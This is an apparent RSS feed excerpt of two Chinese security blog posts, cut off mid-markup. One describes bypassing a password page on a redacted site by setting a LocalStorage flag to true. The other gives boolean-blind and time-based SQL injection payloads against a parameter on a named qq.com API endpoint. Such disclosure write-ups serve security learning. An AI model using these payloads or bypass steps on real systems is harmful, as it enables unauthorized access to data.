      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499553&amp;idx=1&amp;sn=9ecd0f89f5317b4d3fa424101cd0570d</link>
      <description>正文绕过权限发现访问该接口地址 https://████████/███/?#/ 时，用户必须输入密码 / 通行密钥才能进入。</description>
      <content:encoded><![CDATA[<p>原创 <span>h1</span> <span>2026-06-11 11:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3f5207cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7xtecWUgCRzHxJiakicpuZ3AmRMj8zzCqfqdDbO02QadSTztfiapibnz8lnzhZZXTicRzwPGnOkv6khGvrj15YwUXQ4o1qdc0laPZfKicg5N5cSeo%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=a43c2591&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRxico04zwJ87ibF40IkSk9JjRXfB0iaic0fZQB9YibBUy1Hd0cEzGic8HwnG4deIJxyJAIzakXzd9mUvCPtCxS73XiaCP0hoWE4Ov7zI8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style="box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">绕过权限</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">发现访问该接口地址 <a href="https://████████/███/?#/" target="_blank">https://████████/███/?#/</a> 时，用户必须输入密码 / 通行密钥才能进入。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">输入错误密码后，页面会弹出报错提示，提示内容为：如需密码相关协助，请联系██████。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">经对前端 JS 文件分析得知：输入正确密码后，浏览器本地存储（LocalStorage）中会写入一条参数：███████:true。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">访问地址：</span><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;cursor: pointer;color: rgb(40, 202, 113);line-height: 1.8em;letter-spacing: 0em;background: none left top / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;word-break: break-all;"><span leaf=""><a href="https://███/█████/?#/" target="_blank">https://███/█████/?#/</a></span></code></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在浏览器本地存储中新建参数，参数名填写█████，参数值设为 true</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">刷新页面即可完成绕过</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本质就是后端没有做校验</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5493333333333333" data-s="300,640" data-type="png" data-w="750" data-imgfileid="100012574" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=69d403a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRyFUVqnzr4gJbWM3dxORevEgSibktfSS8ZHdcFK02DOmibf5o9mEg0ZfptxLk3psrSyKF31ibnqqp2jLvoic8iazYCdavO44qiaicjzUs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style="box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://hackerone.com/reports/1877989" target="_blank">https://hackerone.com/reports/1877989</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=33b7769f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499553%26idx%3D1%26sn%3D9ecd0f89f5317b4d3fa424101cd0570d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 11 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>一个典型的sqli</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499547&amp;idx=1&amp;sn=1a9dd1b5e9ce6e51d09477dc5637d771</link>
      <description>正文一个典型的sqlipayload如下:http://ticketapi.video.qq.com/get_</description>
      <content:encoded><![CDATA[<p>原创 <span>whoami</span> <span>2026-06-10 11:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ef1b1546&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7xtecWUgCRxhhZ0rR6EYMIicMgjmibGxMYV1kiadH2IjxGXVbBTGbkrhbjSvNqtEr3bjeqIfHyzw02lo0NibNDKwRvsNeP7wPAX6Up37znWSkh0%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=3bbf71d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRyR4KV2w8zEOPNib4yv8s32Rg3SUuEMjMhicTBdic24FWSCBQvwHUcertMNcpoR6CllGJwSicQZemSzh7zsZL40ib9Yq1FWYmsEia09c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一个典型的sqli</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">payload如下:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf=""><a href="http://ticketapi.video.qq.com/get_bonus?otype=json&amp;callback=jQuery19102120662210509181_1450691532464&amp;low_login=1&amp;c_id=1&amp;ucode=asd&amp;c_from=1&amp;g_tk=932252050&amp;_=1450691532477" target="_blank">http://ticketapi.video.qq.com/get_bonus?otype=json&amp;callback=jQuery19102120662210509181_1450691532464&amp;low_login=1&amp;c_id=1&amp;ucode=asd&amp;c_from=1&amp;g_tk=932252050&amp;_=1450691532477</a></span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">漏洞证明：</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">---</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Parameter: ucode (GET)</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">    Type: boolean-based blind</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">    Title: OR boolean-based blind - WHERE or HAVING clause</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">    Payload: otype=json&amp;callback=jQuery19102120662210509181_1450691532464&amp;low_login=1&amp;c_id=1&amp;ucode=-5562</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39; OR 5712=5712 AND &#39;</span></span><span leaf="">qIqO</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;=&#39;</span></span><span leaf="">qIqO&amp;c_from=1&amp;g_tk=932252050&amp;_=1450691532477</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">    Type: AND/OR time-based blind</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">    Title: MySQL &gt;= 5.0.12 AND time-based blind (SELECT)</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">    Payload: otype=json&amp;callback=jQuery19102120662210509181_1450691532464&amp;low_login=1&amp;c_id=1&amp;ucode=asd</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39; AND (SELECT * FROM (SELECT(SLEEP(5)))yOGi) AND &#39;</span></span><span leaf="">WuPe</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;=&#39;</span></span><span leaf="">WuPe&amp;c_from=1&amp;g_tk=932252050&amp;_=1450691532477</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">~</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这里采用了两种注入方式:</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">注入类型：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1.布尔盲注</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;cursor: pointer;color: rgb(40, 202, 113);line-height: 1.8em;letter-spacing: 0em;background: none left top / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;word-break: break-all;"><span 